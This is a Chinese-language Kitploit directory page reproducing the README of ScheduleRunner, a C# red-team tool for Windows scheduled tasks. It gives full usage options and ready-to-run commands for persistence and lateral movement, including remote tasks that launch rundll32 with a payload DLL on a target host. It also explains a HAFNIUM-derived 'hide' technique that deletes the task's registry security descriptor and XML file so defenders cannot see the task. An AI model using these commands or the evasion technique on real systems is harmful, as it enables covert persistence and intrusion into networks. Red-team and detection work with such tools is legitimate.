Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ScheduleRunner — 一个具有更高灵活性的C#工具,用于在红队操作中自定义计划任务,以实现持久化和横向移动。 | Kitploit
工具/GitHubGitHub/netero1010/schedulerunner
持久化机制IDS/IPS规避横向移动后渗透利用红队
GitHubnetero1010/schedulerunner

ScheduleRunner

一个具有更高灵活性的C#工具,用于在红队操作中自定义计划任务,以实现持久化和横向移动。

查看仓库
347481年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ScheduleRunner - 一个具有更高灵活性的C#工具,用于定制红队操作中的计划任务,以支持持久化和横向移动


计划任务是过去十年中最流行的攻击技术之一,如今黑客/红队成员仍常将其用于持久化和横向移动。

已有多种C#工具被开发出来模拟使用计划任务的攻击。我尝试过其中一些,但每个工具在定制计划任务方面都有其局限性。因此,本项目旨在提供一个C#工具(兼容CobaltStrike的execute-assembly),包含我所需要的功能,并提供足够的灵活性来定制计划任务。

截图:

使用指南

方法 (/method):

方法功能
create创建一个新的计划任务
delete删除一个现有的计划任务
run执行一个现有的计划任务
query查询某个计划任务或某个文件夹下所有计划任务的详细信息
queryfolders查询计划任务中的所有子文件夹
move使用计划任务执行横向移动(自动创建、运行并删除)

创建计划任务的选项 (/method:create):

[*] 为必填字段。

删除计划任务的选项 (/method:delete):

选项功能
[*] /taskname指定计划任务的名称
/folder指定计划任务存储的文件夹(默认:\)
/remoteserver指定远程计算机的主机名或IP地址

[*] 为必填字段。

执行计划任务的选项 (/method:run):

选项功能
[*] /taskname指定计划任务的名称
/folder指定计划任务存储的文件夹(默认:\)
/remoteserver指定远程计算机的主机名或IP地址

[*] 为必填字段。

查询计划任务的选项 (/method:query):

选项功能
/taskname指定计划任务的名称
/folder指定计划任务存储的文件夹(默认:\)
/remoteserver指定远程计算机的主机名或IP地址

[*] 为必填字段。

计划任务横向移动的选项 (/method:move):

[*] 为必填字段。

示例

创建一个名为"Cleanup"的计划任务,每天下午11:30执行

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

在远程服务器上创建一个名为"Cleanup"的计划任务,每4小时执行一次

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

删除名为"Cleanup"的计划任务

ScheduleRunner.exe /method:delete /taskname:Cleanup

执行名为"Cleanup"的计划任务

ScheduleRunner.exe /method:run /taskname:Cleanup

查询远程服务器上"\Microsoft\Windows\CertificateServicesClient"文件夹下名为"Cleanup"的计划任务的详细信息

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

查询远程服务器上特定文件夹"\Microsoft\Windows\CertificateServicesClient"下的所有计划任务

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

查询计划任务中的所有子文件夹

ScheduleRunner.exe /method:queryfolders

使用计划任务向远程服务器执行横向移动,并指定特定用户账户

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

使用隐藏计划任务技术创建一个名为"Cleanup"的计划任务:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

删除一个使用了隐藏计划任务技术的名为"Cleanup"的计划任务:

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

隐藏计划任务技术

该技术曾被威胁行为者HAFNIUM使用,最近由微软发现。其目的是使工具无法查询到计划任务,并且任务计划程序也看不到它。

要使用此技术,您需要拥有"NT AUTHORITY/SYSTEM"权限,ScheduleRunner将为您执行以下操作:

  1. 删除"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[task name]"中的"SD"值
  2. 删除计划任务XML文件"C:\Windows\System32\Tasks\[task name]"

要删除使用此技术创建的计划任务,需要在删除方法中添加"/technique:hide"参数以正确移除。

此技术的缺点:

即使通过注册表删除了任务,该任务仍会继续运行直到下次系统重启。因此,建议不要在对服务器进行操作时使用此技术。

演示

隐藏计划任务演示

使用的库和参考资料:

库链接
TaskSchedulerhttps://github.com/dahall/TaskScheduler
参考资料链接
SharpPersisthttps://github.com/mandiant/SharPersist
隐藏计划任务技术https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
下载工具
选项功能
[*] /taskname指定计划任务的名称
[*] /program指定任务运行的程序
[*] /trigger指定计划类型。有效值包括:"minute"(分钟)、"hourly"(每小时)、"daily"(每天)、"weekly"(每周)、"onstart"(系统启动时)、"onlogon"(用户登录时)和"onidle"(系统空闲时)
/modifier指定任务在其计划类型内的运行频率。仅适用于以下计划类型:"minute"(例如1-1439分钟)、"hourly"(例如1-23小时)和"weekly"(例如mon,sat,sun)
/starttime指定每日计划类型的开始时间(例如23:30)
/argument指定程序的命令行参数
/folder指定计划任务存储的文件夹(默认:\)
/workingdir指定计划任务执行时的工作目录
/author指定计划任务的作者
/description指定计划任务的描述
/remoteserver指定远程计算机的主机名或IP地址
/user使用指定的用户账户运行任务
/technique指定规避技术:
- "hide":HAFNIUM恶意软件使用的技术,可将计划任务从任务查询中隐藏

[!] https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/
[!] 由于远程注册表的权限限制,此技术不支持远程执行。它需要"NT AUTHORITY\SYSTEM"权限,且即使任务被删除,任务仍会继续运行直到系统重启
/technique指定当计划任务使用规避技术创建时的处理方式:
- "hide":删除使用了“隐藏计划任务”技术的计划任务

[!] 删除需要"NT AUTHORITY\SYSTEM"权限,且即使任务被删除,任务仍会继续运行直到系统重启
选项功能
[*] /taskname指定计划任务的名称
[*] /program指定任务运行的程序
[*] /remoteserver指定远程计算机的主机名或IP地址
/trigger指定计划类型。有效值包括:"minute"(分钟)、"hourly"(每小时)、"daily"(每天)、"weekly"(每周)、"onstart"(系统启动时)、"onlogon"(用户登录时)和"onidle"(系统空闲时)
/modifier指定任务在其计划类型内的运行频率。仅适用于以下计划类型:"minute"(例如1-1439分钟)、"hourly"(例如1-23小时)和"weekly"(例如mon,sat,sun)
/starttime指定每日计划类型的开始时间(例如23:30)
/argument指定程序的命令行参数
/folder指定计划任务存储的文件夹(默认:\)
/workingdir指定计划任务执行时的工作目录
/author指定计划任务的作者
/description指定计划任务的描述
/user使用指定的用户账户运行任务